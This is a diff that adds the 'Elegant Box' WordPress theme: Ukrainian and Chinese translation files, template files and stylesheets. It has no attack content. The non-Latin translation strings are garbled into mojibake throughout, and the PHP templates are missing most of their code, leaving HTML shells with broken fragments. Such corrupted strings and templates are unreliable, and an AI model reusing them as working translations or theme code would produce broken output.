+ +#: functions.php:276 +#: functions.php:300 +msgid "Registered Users" +msgstr "ЗареєÑтровані кориÑтувачі" + +#: functions.php:280 +#: functions.php:304 +msgid "Commentators" +msgstr "Коментатори" + +#: functions.php:284 +#: functions.php:308 +msgid "Visitors" +msgstr "Відвідувачі" + +#: functions.php:295 +msgid "This showcase will display at the bottom of sidebar." +msgstr "Ð¦Ñ ÐºÐ¾Ð»Ð¾Ð½ÐºÐ° відображатиметьÑÑ Ð²Ð½Ð¸Ð·Ñƒ Ñайдбару" + +#: functions.php:324 +msgid "Posts" +msgstr "" + +#: functions.php:328 +msgid "Show categories on posts." +msgstr "Показувати категорії в публікаціÑÑ…." + +#: functions.php:332 +msgid "Show tags on posts." +msgstr "Показувати теґи в публікаціÑÑ…." + +#: functions.php:342 +msgid "Comments" +msgstr "" + +#: functions.php:346 +msgid "Submit comments with Ctrl+Enter." +msgstr "" + +#: functions.php:356 +msgid "Feed" +msgstr "Канал" + +#: functions.php:360 +msgid "Using custom feed." +msgstr "ВикориÑтовувати влаÑний канал." + +#: functions.php:362 +msgid "Feed URL:" +msgstr "URL каналу:" + +#: functions.php:367 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "Показувати рідери, при наведені миші." + +#: functions.php:375 +msgid "Save Changes" +msgstr "Зберегти зміни" + +#: header.php:26 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - публікації" + +#: header.php:27 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - коментарі" + +#: header.php:122 +#: header.php:124 +#: header.php:127 +#: header.php:133 +#: header.php:135 +msgid "Type text to search here..." +msgstr "" + +#: header.php:144 +msgid "Home" +msgstr "Головна" + +#: header.php:153 +msgid "Subscribe to this blog..." +msgstr "Додати цей блоґ на..." + +#: header.php:153 +msgid "RSS feed" +msgstr "Канал RSS" + +#: header.php:156 +#: header.php:157 +#: header.php:158 +#: header.php:159 +#: header.php:160 +#: header.php:161 +#: header.php:162 +#: header.php:163 +msgid "Subscribe with " +msgstr "Додати на" + +#: header.php:156 +msgid "Youdao" +msgstr "Youdao" + +#: header.php:157 +msgid "Xian Guo" +msgstr "Xian Guo" + +#: header.php:158 +msgid "Zhua Xia" +msgstr "Zhua Xia" + +#: header.php:159 +msgid "Google" +msgstr "Google" + +#: header.php:160 +msgid "My Yahoo!" +msgstr "My Yahoo!" + +#: header.php:161 +msgid "newsgator" +msgstr "newsgator" + +#: header.php:162 +msgid "Bloglines" +msgstr "Bloglines" + +#: header.php:163 +msgid "iNezha" +msgstr "iNezha" + +#: index.php:35 +#: single.php:17 +msgid " | Categories: " +msgstr " | Категорії: " + +#: index.php:38 +#: single.php:20 +msgid " | Tags: " +msgstr " | Теґи: " + +#: index.php:45 +msgid "Read more..." +msgstr "Далі" + +#: links.php:18 +msgid "Edit links" +msgstr "Редагувати поÑиланнÑ" + +#: links.php:24 +msgid "Blogroll" +msgstr "Блоґрол" + +#: sidebar.php:28 +msgid "Theme Styles : " +msgstr "Оберіть Ñтиль:" + +#: sidebar.php:34 +msgid "Switch to " +msgstr "" + +#: single.php:32 +msgid "Leave a comment" +msgstr "Ðапишіть коментар" + +#: single.php:34 +msgid "Trackback" +msgstr "Трекбек" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/languages/zh_CN.mo Binary file web/wp-content/themes/elegant-box/languages/zh_CN.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/languages/zh_CN.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/languages/zh_CN.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,534 @@ +msgid "" +msgstr "" +"Project-Id-Version: Elegant Box 4.0\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-18 01:01+0800\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Chinese\n" +"X-Poedit-Country: CHINA\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:5 +msgid "Error 404 - Not Found" +msgstr "HTTP 404 - 无法找到文件" + +#: archive.php:16 +msgid "Search Results" +msgstr "æœç´¢ç»“æžœ" + +#: archive.php:20 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "‘%1$s’ 分类的存档" + +#: archive.php:23 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "文章标签 ‘%1$s’" + +#: archive.php:26 +#: archive.php:29 +#: archive.php:32 +#, php-format +msgid "Archive for %1$s" +msgstr "%1$s 的存档" + +#: archive.php:26 +#: archives.php:17 +#: functions.php:531 +#: index.php:32 +#: links.php:25 +#: page.php:11 +#: single.php:15 +msgid "F jS, Y" +msgstr "Yå¹´n月jæ—¥" + +#: archive.php:29 +msgid "F, Y" +msgstr "Yå¹´n月" + +#: archive.php:32 +msgid "Y" +msgstr "Yå¹´" + +#: archive.php:35 +msgid "Author Archive" +msgstr "作者存档" + +#: archive.php:38 +msgid "Blog Archives" +msgstr "åšå®¢å­˜æ¡£" + +#: archive.php:55 +#: functions.php:531 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s%2$s" + +#: archive.php:55 +msgid "l, F jS, Y" +msgstr "Yå¹´n月jæ—¥" + +#: archive.php:55 +#: functions.php:531 +msgid "H:i" +msgstr "" + +#: archive.php:55 +#: index.php:49 +msgid "0 comments" +msgstr "没有评论" + +#: archive.php:55 +#: index.php:49 +msgid "1 comment" +msgstr "1 æ¡è¯„论" + +#: archive.php:55 +#: index.php:49 +#, php-format +msgid "% comments" +msgstr "% æ¡è¯„论" + +#: archive.php:55 +#: archives.php:16 +#: comments.php:82 +#: functions.php:540 +#: index.php:30 +#: links.php:20 +#: page.php:10 +#: single.php:13 +msgid "Edit" +msgstr "编辑" + +#: archive.php:56 +msgid "Categories: " +msgstr "分类: " + +#: archive.php:57 +msgid "Tags: " +msgstr "标签: " + +#: archive.php:63 +#: archives.php:45 +#: index.php:59 +#: links.php:62 +#: page.php:32 +#: single.php:61 +msgid "Sorry, no posts matched your criteria." +msgstr "对ä¸èµ·, ä¸å­˜åœ¨ç›¸åº”的文章." + +#: archive.php:84 +#: index.php:76 +msgid "« Newer Entries" +msgstr "« 上一页" + +#: archive.php:85 +#: index.php:77 +msgid "Older Entries »" +msgstr "下一页 »" + +#: archives.php:17 +#: links.php:25 +#: page.php:11 +msgid "Update: " +msgstr "æ›´æ–°æ—¶é—´: " + +#: comments.php:10 +msgid "Enter your password to view comments." +msgstr "请输入密ç å†æŸ¥çœ‹è¯„论内容." + +#: comments.php:51 +msgid "Comment pages" +msgstr "评论分页" + +#: comments.php:68 +msgid " trackbacks" +msgstr "" + +#: comments.php:70 +msgid "Show" +msgstr "显示" + +#: comments.php:71 +msgid "Hide" +msgstr "éšè—" + +#: comments.php:96 +msgid "No comments yet." +msgstr "ç›®å‰è¿˜æ²¡æœ‰ä»»ä½•评论." + +#: comments.php:105 +msgid "Comments are closed." +msgstr "本文的评论功能被关闭了." + +#: comments.php:119 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "您必须在 登录 åŽæ‰èƒ½å‘布评论." + +#: comments.php:139 +msgid "Logged in as" +msgstr "登录å¸å·:" + +#: comments.php:140 +msgid "Log out of this account" +msgstr "退出登录" + +#: comments.php:140 +msgid "Logout »" +msgstr "登出 »" + +#: comments.php:147 +#, php-format +msgid "Welcome back %s." +msgstr "欢迎回æ¥, %s" + +#: comments.php:148 +msgid "Change »" +msgstr "更改 »" + +#: comments.php:149 +msgid "Close »" +msgstr "éšè— »" + +#: comments.php:156 +msgid "Name" +msgstr "昵称" + +#: comments.php:156 +#: comments.php:160 +msgid "(required)" +msgstr "(å¿…å¡«)" + +#: comments.php:160 +msgid "E-Mail (will not be published)" +msgstr "电å­é‚®ç®± (我们会为您ä¿å¯†)" + +#: comments.php:164 +msgid "Website" +msgstr "网å€" + +#: comments.php:183 +msgid "Subscribe to comments feed" +msgstr "订阅评论" + +#: comments.php:189 +msgid "Cancel" +msgstr "å–æ¶ˆ" + +#: comments.php:191 +msgid "Submit Comment" +msgstr "æäº¤è¯„论" + +#: footer.php:2 +msgid "TOP" +msgstr "置顶" + +#: footer.php:22 +msgid "Copyright © " +msgstr "ç‰ˆæƒæ‰€æœ‰ © " + +#: footer.php:31 +#, php-format +msgid " | Powered by WordPress" +msgstr " | 基于 WordPress" + +#: footer.php:32 +#, php-format +msgid " | Theme by NeoEase" +msgstr " | 主题由 NeoEase æä¾›" + +#: functions.php:163 +#: functions.php:183 +msgid "Current Theme Options" +msgstr "当å‰ä¸»é¢˜é€‰é¡¹" + +#: functions.php:188 +msgid "Style" +msgstr "主题风格" + +#: functions.php:192 +msgid "Allow visitors to change the style." +msgstr "å…许访客更æ¢ä¸»é¢˜é£Žæ ¼." + +#: functions.php:195 +msgid "Default style:" +msgstr "默认风格: " + +#: functions.php:208 +msgid "Please install a valid style in the /styles/ folder." +msgstr "请在 /styles/ 文件夾內放置适当的风格文件." + +#: functions.php:220 +msgid "Search" +msgstr "æœç´¢" + +#: functions.php:224 +msgid "Using google custom search engine." +msgstr "使用 Google 自定义æœç´¢å¼•擎" + +#: functions.php:227 +msgid "CX:" +msgstr "" + +#: functions.php:230 +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "在Google 自定义æœç´¢å¼•擎的æœç´¢æ¡†ä»£ç ä¸­æ‰¾åˆ° name=\"cx\" , å¹¶å°†åŒè¡Œä¸­ value 的值填写在输入框内.
    例如: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:239 +msgid "Menubar" +msgstr "èœå•æ " + +#: functions.php:243 +msgid "Show pages as menu." +msgstr "将页é¢åˆ—表作为èœå•" + +#: functions.php:247 +msgid "Show categories as menu." +msgstr "将分类列表作为èœå•" + +#: functions.php:258 +msgid "Notice" +msgstr "公告æ " + +#: functions.php:260 +#: functions.php:286 +#: functions.php:420 +msgid "HTML enabled" +msgstr "HTML å¯ç”¨" + +#: functions.php:265 +msgid "Show notice." +msgstr "显示公告." + +#: functions.php:269 +msgid "Display an icon in the notice bar." +msgstr "在公告æ ä¸­æ˜¾ç¤ºä¸€ä¸ª \"å°å–‡å­\" 图标." + +#: functions.php:284 +msgid "Showcase" +msgstr "橱窗" + +#: functions.php:291 +msgid "This showcase will display at the top of sidebar." +msgstr "这个橱窗将会显示在侧边æ é¡¶éƒ¨." + +#: functions.php:293 +#: functions.php:317 +msgid "Who can see?" +msgstr "è°å¯ä»¥çœ‹åˆ°?" + +#: functions.php:296 +#: functions.php:320 +msgid "Registered Users" +msgstr "注册用户" + +#: functions.php:300 +#: functions.php:324 +msgid "Commentators" +msgstr "评论者" + +#: functions.php:304 +#: functions.php:328 +msgid "Visitors" +msgstr "游客" + +#: functions.php:315 +msgid "This showcase will display at the bottom of sidebar." +msgstr "这个橱窗将会显示在侧边æ åº•部." + +#: functions.php:344 +msgid "Posts" +msgstr "文章" + +#: functions.php:348 +msgid "Show categories on posts." +msgstr "在文章中显示分类信æ¯." + +#: functions.php:352 +msgid "Show tags on posts." +msgstr "在文章中显示标签信æ¯." + +#: functions.php:362 +msgid "Comments" +msgstr "评论" + +#: functions.php:366 +msgid "Submit comments with Ctrl+Enter." +msgstr "å¯é€šè¿‡å¿«æ·é”® \"Ctrl+Enter\" æäº¤è¯„论." + +#: functions.php:376 +msgid "Feed" +msgstr "订阅" + +#: functions.php:380 +msgid "Using custom feed." +msgstr "使用自定义的订阅地å€." + +#: functions.php:382 +msgid "Feed URL:" +msgstr "订阅地å€:" + +#: functions.php:387 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "当鼠标在订阅按钮上方, 显示推è订阅器列表." + +#: functions.php:397 +#: header.php:154 +msgid "Twitter" +msgstr "" + +#: functions.php:401 +msgid "Add Twitter button." +msgstr "添加 Twitter 按钮." + +#: functions.php:404 +msgid "Twitter username:" +msgstr "Twitter 用户å:" + +#: functions.php:418 +msgid "Web Analytics" +msgstr "网站分æž" + +#: functions.php:425 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "将分æžä»£ç æ·»åŠ åˆ°ç½‘ç«™ä¸­. (请在此填入 Google Analytics, Yahoo! Web Analytics 等网站分æžå·¥å…·æä¾›çš„代ç )" + +#: functions.php:436 +msgid "Save Changes" +msgstr "ä¿å­˜æ›´æ”¹" + +#: functions.php:535 +#: functions.php:537 +msgid "Reply" +msgstr "回å¤" + +#: functions.php:539 +msgid "Quote" +msgstr "引用" + +#: functions.php:547 +msgid "Your comment is awaiting moderation." +msgstr "您å‘表的评论正在等待管ç†å‘˜éªŒè¯." + +#: header.php:26 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - 所有文章" + +#: header.php:27 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - 所有评论" + +#: header.php:122 +msgid "Type text to search here..." +msgstr "请输入关键字..." + +#: header.php:145 +msgid "Home" +msgstr "首页" + +#: header.php:154 +msgid "Follow me!" +msgstr "" + +#: header.php:158 +msgid "Subscribe to this blog..." +msgstr "订阅这个åšå®¢çš„æ–‡ç« " + +#: header.php:158 +msgid "RSS feed" +msgstr "RSS 订阅" + +#: header.php:161 +#: header.php:162 +#: header.php:163 +#: header.php:164 +#: header.php:165 +#: header.php:166 +#: header.php:167 +#: header.php:168 +msgid "Subscribe with " +msgstr "订阅到" + +#: header.php:161 +msgid "Youdao" +msgstr "有é“" + +#: header.php:162 +msgid "Xian Guo" +msgstr "鲜果" + +#: header.php:163 +msgid "Zhua Xia" +msgstr "抓虾" + +#: header.php:164 +msgid "Google" +msgstr " Google" + +#: header.php:165 +msgid "My Yahoo!" +msgstr " My Yahoo!" + +#: header.php:166 +msgid "newsgator" +msgstr " newsgator" + +#: header.php:167 +msgid "Bloglines" +msgstr " Bloglines" + +#: header.php:168 +msgid "iNezha" +msgstr " 哪å’" + +#: index.php:34 +#: single.php:17 +msgid " | Categories: " +msgstr " | 分类: " + +#: index.php:37 +#: single.php:20 +msgid " | Tags: " +msgstr " | 标签: " + +#: index.php:44 +msgid "Read more..." +msgstr "阅读全文..." + +#: links.php:22 +msgid "Edit links" +msgstr "标记链接" + +#: links.php:23 +msgid "Add link" +msgstr "添加链接" + +#: sidebar.php:28 +msgid "Theme Styles : " +msgstr "主题风格: " + +#: sidebar.php:34 +msgid "Switch to " +msgstr "将主题风格更æ¢ä¸º" + +#: single.php:32 +msgid "Leave a comment" +msgstr "å‘表评论" + +#: single.php:34 +msgid "Trackback" +msgstr "" + +#~ msgid "Blogroll" +#~ msgstr "勿ƒ…链接" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/links.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/links.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,75 @@ + + +get_results("SELECT T1.name AS name FROM $wpdb->terms T1, $wpdb->term_taxonomy T2 WHERE T1.term_id = T2.term_id AND T2.taxonomy = 'link_category'"); +?> + + + +
    +
    +

    +
    +
    +
    + ', ''); ?> + + + + + +
    +
    +
    + + +

    name; ?>

    +
    + +
    +
    + +
    + +
    +
    + + + + +
    +
    + +
    +
    + + +
    + + + +
    + +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/page.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/page.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,45 @@ + + + +
    +
    +

    +
    +
    +
    + ', ''); ?> + +
    +
    +
    + +
    +
    +
    + + + + +
    +
    + +
    +
    + + +
    + + + +
    + +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/pagenavi-css.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/pagenavi-css.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,23 @@ +.wp-pagenavi { + margin-top:1px; + padding:0 !important; + padding:0 0 8px; +} +.wp-pagenavi a, .wp-pagenavi a:link, .wp-pagenavi a:active { + border:none; + padding:6px 8px; + text-decoration:none; +} +.wp-pagenavi a:hover { + text-decoration:none; +} +.wp-pagenavi span.pages { + margin:2px 9px 2px 0; +} +.wp-pagenavi span.current { + padding:6px 8px; + font-weight:bold; +} +.wp-pagenavi span.extend { + margin:2px 4px; +} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/polls-css.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/polls-css.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,102 @@ +.wp-polls ul li, wp-polls-ul li, .wp-polls-ans ul li { + text-align: left; + background-image: none; + display: block; +} +.wp-polls ul, .wp-polls-ul, .wp-polls-ans ul { + text-align: left; + list-style: none; +} +.wp-polls ul li:before, wp-polls-ul li, .wp-polls-ans ul li:before, #sidebar ul ul li:before { + content: ''; +} +.wp-polls IMG, .wp-polls LABEL , .wp-polls INPUT, .wp-polls-loading IMG, .wp-polls-image IMG { + display: inline; + border: 0px; + padding: 0px; + margin: 0px; +} +.wp-polls-ul { + padding: 0px; + margin: 0px 0px 10px 10px; +} +.wp-polls-ans { + width:100%; + opacity: 1; +} +.wp-polls-loading { + display: none; + text-align: center; + height: 16px; + line-height: 16px; +} +.wp-polls-image { + border: 0px; +} +.wp-polls .Buttons { + border:1px solid #c8c8c8; + background-color: #f3f6f8; +} +/* Polls Archive Paging */ +.wp-polls-paging a, .wp-polls-paging a:link { + padding: 2px 4px 2px 4px; + margin: 2px; + text-decoration: none; + border: 1px solid #0066cc; + color: #0066cc; + background-color: #FFFFFF; +} +.wp-polls-paging a:visited { + padding: 2px 4px 2px 4px; + margin: 2px; + text-decoration: none; + border: 1px solid #0066cc; + color: #0066cc; + background-color: #FFFFFF; +} +.wp-polls-paging a:hover { + border: 1px solid #000000; + color: #000000; + background-color: #FFFFFF; +} +.wp-polls-paging a:active { + padding: 2px 4px 2px 4px; + margin: 2px; + text-decoration: none; + border: 1px solid #0066cc; + color: #0066cc; + background-color: #FFFFFF; +} +.wp-polls-paging span.pages { + padding: 2px 4px 2px 4px; + margin: 2px 2px 2px 2px; + color: #000000; + border: 1px solid #000000; + background-color: #FFFFFF; +} +.wp-polls-paging span.current { + padding: 2px 4px 2px 4px; + margin: 2px; + font-weight: bold; + border: 1px solid #000000; + color: #000000; + background-color: #FFFFFF; +} +.wp-polls-paging span.extend { + padding: 2px 4px 2px 4px; + margin: 2px; + border: 1px solid #000000; + color: #000000; + background-color: #FFFFFF; +} +/* Styles Used In WP-Admin */ +#wp-polls-pollbar-bg { + width: 25px; + height: 25px; + border: 1px solid #000000; +} +#wp-polls-pollbar-border { + width: 25px; + height: 25px; + border: 1px solid #000000; +} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/screenshot.png Binary file web/wp-content/themes/elegant-box/screenshot.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/search.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/search.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/sidebar.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/sidebar.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,155 @@ + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/single.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/single.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,80 @@ + + + + + +
    +
    +

    +
    +
    + +
    + ', ''); ?> + + + + + + + + + +
    +
    + +
    + +
    +
    + +
    + + + | + +
    + + + '; + wp23_related_posts(); + echo '
    '; + } + ?> + +
    + + + + +
    +
    + +
    +
    + + + +
    + + + +
    + +
    +
    + + +
    +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/style.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/style.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,752 @@ +/* +Theme Name: Elegant Box +Theme URI: http://wordpress.org/extend/themes/elegant-box/ +Description: Elegant Box is my first experiment in WordPress theming. +Version: 4.1.1 +Author: mg12 +Author URI: http://www.neoease.com/ +Tags: white, black, green, blue, purple, brown, two-columns, fixed-width, theme-options, right-sidebar, custom-colors, threaded-comments +*/ + +* { + margin:0; + padding:0; +} +body { + font-family:Verdana,Tahoma,"BitStream vera Sans",Arial,Helvetica,sans-serif; + font-size:12px; +} +h1 {font-size:20px;} +h2 {font-size:16px;} +h3 {font-size:14px;} +img { + border:none; +} +a { + text-decoration:none; +} +a:hover { + text-decoration:underline; +} +pre { + font-family:'Courier New', Courier, Monospace, Fixed; + overflow:auto; +} +blockquote, +pre { + padding:5px 10px; + margin:5px 0; +} +.clear, +.fixed { + clear:both; +} +small, +.small { + font-size:10px; +} +.more-link { + font-size:10px; +} +.floatleft { + float:left; +} +.floatright { + float:right; +} +.alignleft{ + float:left; + text-align:left; + margin-right:10px; +} +.alignright{ + text-align:right; + float:right; + margin-left:10px; +} +.aligncenter { + display:block; + margin-left:auto; + margin-right:auto; +} +.inline { + display:inline; +} +.left { + float:left; + margin-right:10px; +} +.right { + float:right; + margin-left:10px; +} +.fontthin { + font-weight:normal; +} +.boxcaption { + padding:1px; + border-width:1px 1px 0; + border-style:solid; +} +.boxcaption h3 { + padding:5px 10px 6px; + font-size:11px; +} +.box { + padding:5px 10px; + margin-bottom:10px; + border-width:0 1px 1px; + border-style:solid; +} +.messagebox { + margin-bottom:10px; +} +.messagebox .content { + padding:8px 10px; +} +.button, +a#cancel-comment-reply-link { + font-size:10px; + border-style:solid; + border-width:1px; + font-family:"lucida grande"; + text-align:center; + padding:2px 8px; +} +a#cancel-comment-reply-link { + padding:3px 8px; +} +a.button:hover, +a#cancel-comment-reply-link:hover { + text-decoration:none; +} +.bottom_space { + margin-bottom:10px; +} + +/* header START */ +#header .inner { + height:55px !important; + height:56px; +} +#header .content { + width:962px; + margin:0 auto; + text-align:left; +} +#header .caption { + float:left; + border-left:5px solid; + padding:1px 0 2px 10px; + margin-top:8px; +} +#title { + font-weight:normal; + font-style:normal; + text-transform:uppercase; + letter-spacing:-1px; +} +#tagline { + font-size:10px; +} +#searchbox { + float:right; + margin-top:17px; +} +#notice { + margin:0 -5px 10px; +} +#notice .inner { + padding:5px 7px; +} +#notice .icon { + float:left; + margin-right:5px; + margin-bottom:0; +} +#notice .content { + float:left; +} +#notice .content .separator { + padding-right:10px; +} +#navigation { + margin-right:8px; + float:right; + margin-top:17px; +} +*+html #navigation { + margin-top:18px; +} +#navigation li { + list-style:none; + float:left; + margin-top:1px !important; + margin-top:3px; + font-size:10px; +} +#navigation li a { + display:block; + padding:3px 5px 4px; + border-style:solid; + border-width:0 1px 0 0; +} +#navigation li.current_page_item, +#navigation li.current-cat { + font-weight:bold; +} +#navigation .current_page_item li, +#navigation li.current-cat li { + font-weight:normal; +} +#navigation li a#feed, +#navigation li a#twitter { + padding:1px 8px; +} +#navigation li a#feed { + border-width:0; + padding-right:0; +} +#navigation li a#feed img, +#navigation li a#twitter img { + background-position:0 0; + width:18px; + height:18px; +} +#navigation li a#feed:hover img, +#navigation li a#twitter:hover img { + background-position:0 -18px !important; +} +#searchbox .textfield { + width:247px; + padding-left:20px; + font-family:Verdana,Tahoma,"BitStream vera Sans",Arial,Helvetica,sans-serif; +} +/* header END */ + +/* submenu START */ +#navigation li ul { + display:none; + background:#E1E1E1; + padding:5px; + border:1px solid #333; + position:absolute; +} +#navigation li li { + float:none; + margin:0 !important; + margin:0; + padding:0; + display:block; + list-style:none; + display:inline; +} +#navigation li li a { + display:block; + padding:5px; + padding:5px !important; + text-decoration:none; + width:150px; + font-size:11px; + border-style:solid; + border-width:1px 0 0; +} +#navigation li a.first { + border-top:none; +} +#navigation li a:hover, +#navigation li a.current { + text-decoration:underline; +} +/* submenu END */ + +/* main START */ +#container { + padding:15px 0; +} +#content { + margin:0 auto; + text-align:left; + width:960px; +} +#main { + width:659px; + float:left; + padding:10px 15px 0; + overflow:hidden; +} +.sided { + padding:2px; + margin-bottom:5px; +} +.wp-caption { + padding:5px 0; + margin-bottom:5px; + text-align:center; +} +.post .content .wp-caption p { + margin:3px 0 0; +} +.part { + margin-bottom:10px; +} +.sidedate { + float:right; + font-size:10px; +} +.post .content ul li, +.post .content ol li { + list-style-position:inside; + padding-left:12px !important; + padding-left:16px; + text-indent:-12px !important; + text-indent:-16px; +} +*+html .post .content ul li, +*+html .post .content ol li { + padding-left:16px !important; + text-indent:-16px !important; +} +.post .content ul, +.post .content ol { + padding-bottom:10px; +} +.post { + margin-bottom:20px; +} +.post .title h2 { + font-size:14px; + font-style:normal; + font-variant:normal; + font-weight:bold; + margin:0; + padding:0px; +} +.post .content { + line-height:145%; + overflow:hidden; + padding-bottom:5px; +} +.post .content p { + margin:0 0 10px 0; +} +.post .content table { + border-width:2px; + border-style:solid; + border-collapse:collapse; + margin:5px 5px 10px; +} +.post .content th, +.post .content td { + border-width:1px; + border-style:solid; + padding:3px 10px; + text-align:left; + vertical-align:top; +} +.post .comments { + padding-left:22px; + height:16px; + line-height:16px; + font-size:10px; +} +.post .comments_single { + margin:10px 0; +} +#postnav { + margin-top:20px; +} +.post .info { + font-size:10px; + margin-bottom:8px; + margin-top:0; + padding-top:3px; +} +.post .info .edit, +.post .info .addlink, +.post .info .editlinks { + float:right; +} +#bottom { + font-size:10px; +} +#bottom .postnav { + float:left; + padding:9px 10px !important; + padding:9px 10px 0; + width:669px; +} +#bottom .postnav span.right { + margin-right:10px; +} +#bottom .anchor { + float:right; + text-align:right; + width:251px; + padding:11px 10px 10px; + margin-bottom:-1px; +} +#bottom .anchor span { + padding:4px 0 4px 20px; +} +/* main END */ + +/* sidebar START */ +#sidebar { + float:right; + width:270px; + height:100%; + padding-top:5px; + overflow:hidden; +} +#sidebar ul { + padding:0 5px; +} +#sidebar li { + list-style:none; +} +#sidebar div.widget { + margin:0 5px 5px; +} +#sidebar h3 { + padding:3px 5px 4px; + font-weight:bold; + font-size:11px; + text-decoration:none; +} +#sidebar .widget { + margin:0 0 5px; +} +#sidebar .widget_tag_cloud { + padding:0 5px 8px; + margin:0px; +} +#sidebar .widget_tag_cloud h3 { + margin-bottom:5px; + margin-left:-5px; + margin-right:-5px; +} +.widget ul li { + line-height:18px; + padding:3px 0; +} +.widget ul li span.right { + font-size:10px; +} +.widget .showcase { + padding:5px; +} +.widget ul li ul { + padding-bottom:0; + padding-right:0; +} +.widget ul li ul li { + padding:3px 5px 0; + border-bottom:none; + line-height:18px; + margin-top:3px; + margin-right:-5px; +} +#styleswitcher { + padding:5px; +} +#styleswitcher .clear, +#styleswitcher .fixed { + margin:0; +} +#style-text { + float:left; + font-size:11px; + margin-top:1px; + font-weight:bold; +} +#styleswitcher span.color { + float:left; + margin-top:2px; + margin-left:4px; + padding:1px; +} +#styleswitcher span.color a img { + margin:0px; + width:8px; + height:8px; +} +/* sidebar END */ + +/* footer START */ +#footer { + font-size:10px; +} +#footer .inner { + margin:0; + height:30px; +} +#footer .content { + margin:8px auto 0; + width:940px; +} +#footer #about { + float:left; +} +#footer ul#admin { + float:right; + display:block; + list-style-position:outside; + list-style-type:none; +} +#footer ul#admin li { + display:block; + float:left; + margin-left:12px; +} +/* footer END */ + +/* comments START */ +.commentlist { + margin-bottom:15px; +} +.commentlist ol { + margin:0; + padding-left:0; +} +.commentlist .comment { + list-style:none; + margin-bottom:10px; + overflow:hidden; + position:relative; + border:1px solid; + padding:1px; +} +.commentlist .comment p { + margin-bottom:8px; +} +.commentlist .comment blockquote { + margin:0 0 8px; +} +.userinfo { + padding:5px 10px 6px; +} +.userinfo .date { + font-size:10px; + position:relative; +} +.userinfo .userpic { + padding:1px; + float:left; + margin-right:10px; + position:relative; +} +.userinfo .usertext { + float:left; + position:relative; +} +.userinfo .count { + float:right; + text-align:right; + font-size:10px; + position:relative; +} +.commentlist .comment .username { + font-weight:bold; +} +.commentlist .comment .comment_text { + padding:8px 10px 0; + line-height:145%; +} +#trackbacks { + border:1px solid; + padding:1px; + margin-bottom:10px; +} +#trackbacks .caption { + padding:5px 10px 6px; +} +#trackbacks h3 { + float:left; + font-size:11px; +} +#trackbacks .actions { + float:right; + font-size:11px; +} +#trackbacks ol { + padding:3px 10px 8px; +} +#trackbacks li { + list-style:none; + padding:3px 5px; + line-height:18px; + border-width:0 0 1px; + border-style:dashed; +} +#trackbacks li small { + display:block; +} +textarea#comment { + width:651px; +} +.commentlist .children { + margin:0 10px; +} +.commentlist .children textarea#comment { + width:627px; +} +.commentlist .children .children textarea#comment { + width:603px; +} +.commentlist .children .children .children textarea#comment { + width:579px; +} +.commentlist .children .children .children .children textarea#comment { + width:555px; +} +.commentlist .children .children .children .children .children textarea#comment { + width:531px; +} +.commentlist .children .children .children .children .children .children 